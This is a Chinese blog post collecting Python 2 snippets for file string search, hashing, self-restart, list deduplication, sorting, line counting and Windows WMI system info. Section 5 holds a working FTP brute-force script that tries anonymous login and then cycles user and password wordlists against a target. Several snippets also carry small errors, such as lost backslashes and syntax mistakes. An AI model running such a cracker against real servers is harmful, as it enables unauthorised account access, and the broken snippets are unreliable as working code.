一些Python片段_1


1.用Python在文件(夹)中查找指定字符串
代码一:
#!/usr/bin/env python
# -*- coding: UTF-8 -*
import os, sys, re
findstr = ''

def func_findstr(filepath):
    thefile = open(filepath, 'rb')
    while True:
        buffer = thefile.read(104857600)
        if not buffer:
            break
        for match in re.findall('\n.*' + findstr + '.*\n', buffer):
            print "Found in " + filepath + " %s" % match
            print ''
    thefile.close()

def func_walks(path):
    for root, dirs, files in os.walk(path):
        for f in files:
            f = os.path.join(root, f)
            func_findstr(f)

def filterstr(str):
    str = str.replace('.', '\.').replace('[', '\[').replace(']', '\]').replace('$', '\$').replace('\\', '\\\\')
    return str.replace('(', '\(').replace(')', '\)').replace('{', '\{').replace('}', '\}').replace('^', '\^')

if __name__ == '__main__':
    if len(sys.argv)>=4 and (sys.argv[1]=='-f' or sys.argv[1]=='-d'):
        if sys.argv[1]=='-f' and os.path.isfile(sys.argv[2]):
            findstr = filterstr(sys.argv[3])
            func_findstr(sys.argv[2])
        elif sys.argv[1]=='-d' and os.path.exists(sys.argv[2]):
            findstr = filterstr(sys.argv[3])
            func_walks(sys.argv[2])
        else:
            print '-- 参数错误'
    elif len(sys.argv)==2:
        findstr = filterstr(sys.argv[1])
        print func_walks(os.getcwd())
    else:
        print '-- 参数说明 :'
        print '    1. ' + sys.argv[0] + ' -f' + ' filename "string" t在指定文件查找字符'
        print '    2. ' + sys.argv[0] + ' -d' + ' directory "string" t在指定目录(包括子目录)下的所有文件查找字符串'
        print '    3. ' + sys.argv[0] + ' "string" t在当前目录(包括子目录)下的所有文件查找字符串'
代码二:
#!/usr/bin/env python
#-*- coding: UTF-8 -*-

import os, sys
listonly = False
skipexts = ['.gif', '.exe', '.pyc', '.o', '.a', '.dll', '.lib', '.pdb', '.mdb']	# ignore binary files

def visitfile(fname, searchKey):	# for each non-dir file
    global fcount, vcount
    try:
        if not listonly:
            if os.path.splitext(fname)[1] in skipexts:
                pass
            elif open(fname).read().find(searchKey) != -1:
                print'%s has %s' % (fname, searchKey)
                fcount += 1
    except: pass
    vcount += 1

def visitor(args, directoryName, filesInDirectory):	# called for each dir
    for fname in filesInDirectory:
        fpath = os.path.join(directoryName, fname)
        if not os.path.isdir(fpath):
            visitfile(fpath, args)

def searcher(startdir, searchkey):
    global fcount, vcount
    fcount = vcount = 0
    os.path.walk(startdir, visitor, searchkey)

if __name__ == '__main__':
    root=raw_input("type search directory:")
    key=raw_input("type search string:")
    searcher(root, key)
    print 'Found in %d files, visited %d' % (fcount, vcount)
2.计算指定文件的MD5/SHA1值
#!/usr/bin/env python
#-*- coding: UTF-8 -*-
#用 Python 检测文件的MD5值

import hashlib
import os, sys

#简单的测试一个字符串的MD5值
def GetStrMd5(src):
    m0=hashlib.md5()
    m0.update(src)
    print m0.hexdigest()
    pass

#计算大文件的MD5值(分块读取)
def GetFileMd5(filename):
    if not os.path.isfile(filename):
        return
    myhash = hashlib.md5()
    f = file(filename, 'rb')
    while True:
        b = f.read(8096)
        if not b :
            break
        myhash.update(b)
    f.close()
    return myhash.hexdigest()

def CalcSha1(filepath):
    with open(filepath, 'rb') as f:
        sha1obj = hashlib.sha1()
        sha1obj.update(f.read())
        hash = sha1obj.hexdigest()
        print(hash)
        return hash

def CalcMD5(filepath):
    with open(filepath, 'rb') as f:
        md5obj = hashlib.md5()
        md5obj.update(f.read())
        hash = md5obj.hexdigest()
        print(hash)
        return hash

if __name__ == "__main__":
    if len(sys.argv)==2 :
        hashfile = sys.argv[1]
        if not os.path.exists(hashfile):
            hashfile = os.path.join(os.path.dirname(__file__), hashfile)
            if not os.path.exists(hashfile):
                print("cannot found file")
            else:
                CalcMD5(hashfile)
        else:
            CalcMD5(hashfile)
            #raw_input("pause")
    else:
        print("no filename")

之前也有一个可以同时指定多个文件的Python脚本: 计算文件MD5值的小脚本 。

3.自重启脚本
#!/usr/bin/env python
#-*- coding: UTF-8 -*-

import time, sys, os

def restart_program():
    python = sys.executable
    os.execl(python, python, * sys.argv)

if __name__ == "__main__":
    print 'start...'
#   answer = raw_input("Do you want to restart this program ? ")
#   if answer.strip() in "y Y yes Yes YES".split():
#       restart_program()
    print u"3秒后,程序将结束...".encode("gbk")
    time.sleep(3)
    restart_program()

不过一般其实是写个bash脚本放在crontab中周期性检查以达到服务稳定的目的的。

4.列表去重,不打乱原有顺序
def test1():
    a=[2,4,5,2,6,8,0,9,8,5]
    list_test=[]
    for i in a:
        if i not in list_test:
            list_test.append(i)

def test2():
    a=[2,4,5,2,6,8,0,9,8,5]
    list_test2=list(set(a))
    list_test2.sort(key=a.index))
5.FTP暴力破解的单线程脚本
#!/usr/bin/env python
# -*- coding: utf_8 -*-

import ftplib, socket, re, sys, time

def usage():
    print '+' + '-' * 50 + '+'
    print 't   Python FTP暴力破解工具单线程版'
    print '+' + '-' * 50 + '+'
    if len(sys.argv) != 4:
        print "用法: ftpbrute.py 待破解的ip/domain 用户名列表 字典列表"
        print "实例: ftpbrute.py 127.0.0.1 user.txt pass.txt"
        sys.exit()

def ftp_anon(host):
    try:
        print 'n[+] 测试匿名登陆……n'
        ftp = ftplib.FTP()
        ftp.connect(host, 21, 10)
        ftp.login()
        ftp.retrlines('LIST')
        ftp.quit()
        print 'n[+] 匿名登陆成功……'
    except ftplib.all_errors:
        print 'n[-] 匿名登陆失败……'

def ftp_crack(host, user, pwd):
    try:
        ftp = ftplib.FTP()
        ftp.connect(host, 21, 10)
        ftp.login(user, pwd)
        ftp.retrlines('LIST')
        ftp.quit()
        print 'n[+] 破解成功,用户名:' + user + ' 密码:' + pwd
    except ftplib.all_errors:
        pass

if __name__ == '__main__':
    start_time = time.time()
    usage()
    if re.match(r'd{1,3}.d{1,3}.d{1,3}.d{1,3}', sys.argv[1]):
        host = sys.argv[1]
    else:
        host = socket.gethostbyname(sys.argv[1])
    userlist = [x.rstrip() for x in open(sys.argv[2])]
    passlist = [x.rstrip() for x in open(sys.argv[3])]
    print '[+] Target:', host
    print '[+] Userlist:', len(userlist)
    print '[+] Passlist:', len(passlist)
    ftp_anon(host)
    print 'n[+] 暴力破解测试中……n'
    for user in userlist:
        for pwd in passlist:
            ftp_crack(host, user, pwd)

    print 'n[+] 破解完成,用时: %d 秒' % (time.time() - start_time)

说明:上面这个FTP的爆破脚本是从“[Python] FTP暴力破解工具单线程版”摘录而来,因为个人不太喜欢在脚本中添加一些不必要的信息,所以就去掉了原脚本中的一些print内容,但我会在文中的相应地方给出说明,若有不妥可以联系我删除。

6.一些典型的排序算法
#!/usr/bin/env python
# coding = utf-8
import sys, getopt, random

def bubble_sort(seq):
    for i in range(len(seq)):
        for j in range(1, len(seq)):
            if seq[j-1]>seq[j]:
                seq[j-1], seq[j] = seq[j], seq[j-1]
    return seq

def insertion_sort(seq):
    for i in range(1, len(seq)):
        tmp = seq[i]
        pos = i;
        for j in range(i-1, -1, -1):
            if seq[j]>tmp:
                seq[j+1] = seq[j]
                pos = j
        seq[pos] = tmp
    return seq

def selection_sort(seq):
    for i in range(len(seq)):
        min_index = i;
        for j in range(i, len(seq)):
            if seq[j]<seq[min_index]:
                min_index = j
        seq[i], seq[min_index] = seq[min_index], seq[i]
    return seq

def partition(seq, p, l, r):
    pivot = seq[p]
    seq[p], seq[r] = seq[r], seq[p]
    p_pos = l
    for i in range(l, r):
        if seq[i] <= pivot:
            seq[i], seq[p_pos] = seq[p_pos], seq[i]
            p_pos = p_pos+1
    seq[p_pos], seq[r] = seq[r], seq[p_pos]
    return p_pos

def quick_sort(seq, left, right):
    if left < right:
        pivot = random.randint(left, right)
        mid = partition(seq, pivot, left, right)
        quick_sort(seq, left, mid-1)
        quick_sort(seq, mid+1, right)
    return seq

def shell_sort(seq):
    incr = len(seq)/2
    while(incr >= 1):
        for i in range(incr, len(seq)):
            tmp = seq[i]
            pos = i;
            for j in range(i-incr, -1, -incr):
                if seq[j]>tmp:
                    seq[j+incr] = seq[j]
                    pos = j
            seq[pos] = tmp
        incr = incr/2
    return seq

def usage():
    print 'Usage: python sort.py sorttype[-q|-i|-b|-s|--shell] sequence'
    print 'Example: python sort.py -q 11, 32, 3, 24, 5'

def main():
    try:
        if(len(sys.argv) == 1) or (len(sys.argv)! = 3):
            raise Exception()
        else:
            opts, args = getopt.getopt(sys.argv[1:], 'qibs', ['shell'])

            if len(args)>0:
                seq = []
                tmp = args[0].split(', ')
                for i in tmp:
                    seq.append(int(i))
            else:
                raise Exception()

            for opt in opts:
                if opt[0] == '-q':
                    print quick_sort(seq, 0, len(seq)-1)
                elif opt[0] == '-i':
                    print insertion_sort(seq)
                elif opt[0] == '-b':
                    print bubble_sort(seq)
                elif opt[0] == '-s':
                    print selection_sort(seq)
                elif opt[0] == '--shell':
                    print shell_sort(seq)

    except Exception, e:
        usage()
        print e
        sys.exit()

if __name__ == "__main__":
    main()
7.列出指定文件夹中各文件(仅限文本文件)的行数
#!/usr/bin/env python
# coding=utf-8

import os
import fileinput
dest="/root/log_backup"
for root, dirs, filename in os.walk(dest):
    for file in filename:
        f = os.path.join(root, file)
        for each in fileinput.input(f):
            pass
        print "filename:%s  filenumber:%s" % (fileinput.filename(), fileinput.lineno())
8.用wmi模块检测Windows系统信息
#!/usr/bin/env python
# -*- coding: utf-8 -*-

import wmi
import sys, time, platform

def get_system_info(os):
    print "Operating system:"
    if os == "Windows":
        c = wmi.WMI()
        for sys in c.Win32_OperatingSystem():
            print 't' + "Version :t%s" % sys.Caption.encode("GBK")
            print 't' + "Vernum :t%s" % sys.BuildNumber

def get_memory_info(os):
    print "memory_info:"
    if os == "Windows":
        c = wmi.WMI()
        cs = c.Win32_ComputerSystem()
        pfu = c.Win32_PageFileUsage()
        MemTotal = int(cs[0].TotalPhysicalMemory)/1024/1024
        print 't' + "TotalPhysicalMemory :" + 't' + str(MemTotal) + "M"
        #tmpdict["MemFree"] = int(os[0].FreePhysicalMemory)/1024
        SwapTotal = int(pfu[0].AllocatedBaseSize)
        print 't' + "SwapTotal :" + 't' + str(SwapTotal) + "M"
        #tmpdict["SwapFree"] = int(pfu[0].AllocatedBaseSize - pfu[0].CurrentUsage)

def get_disk_info(os):
    print "disk_info:"
    if os == "Windows":
        tmplist = []
        c = wmi.WMI()
        for physical_disk in c.Win32_DiskDrive():
            if physical_disk.Size:
                print 't' + str(physical_disk.Caption) + ' :t' + str(long(physical_disk.Size)/1024/1024/1024) + "G"

def get_cpu_info(os):
    print "cpu_info:"
    if os == "Windows":
        tmpdict = {}
        tmpdict["CpuCores"] = 0
        c = wmi.WMI()
        for cpu in c.Win32_Processor():
            tmpdict["CpuType"] = cpu.Name
        try:
            tmpdict["CpuCores"] = cpu.NumberOfCores
        except:
            tmpdict["CpuCores"] += 1
            tmpdict["CpuClock"] = cpu.MaxClockSpeed
        print 't' + 'CpuType :t' + str(tmpdict["CpuType"])
        print 't' + 'CpuCores :t' + str(tmpdict["CpuCores"])

def get_network_info(os):
    print "network_info:"
    if os == "Windows":
        tmplist = []
        c = wmi.WMI()
        for interface in c.Win32_NetworkAdapterConfiguration (IPEnabled=1):
                tmpdict = {}
                tmpdict["Description"] = interface.Description
                tmpdict["IPAddress"] = interface.IPAddress[0]
                tmpdict["IPSubnet"] = interface.IPSubnet[0]
                tmpdict["MAC"] = interface.MACAddress
                tmplist.append(tmpdict)
        for i in tmplist:
            print 't' + i["Description"]
            print 't' + 't' + "MAC :" + 't' + i["MAC"]
            print 't' + 't' + "IPAddress :" + 't' + i["IPAddress"]
            print 't' + 't' + "IPSubnet :" + 't' + i["IPSubnet"]
        for interfacePerfTCP in c.Win32_PerfRawData_Tcpip_TCPv4():
                print 't' + 'TCP Connect :t' + str(interfacePerfTCP.ConnectionsEstablished)

if __name__ == "__main__":
    os = platform.system()
    get_system_info(os)
    get_memory_info(os)
    get_disk_info(os)
    get_cpu_info(os)
    get_network_info(os)

需要安装pywin32/wmi模块,可以使用pip进行快速安装,也可以使用已经编译好的exe程序进行安装,下载链接:Python Extension Packages for Windows – Christoph Gohlke

 

待续……

,

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注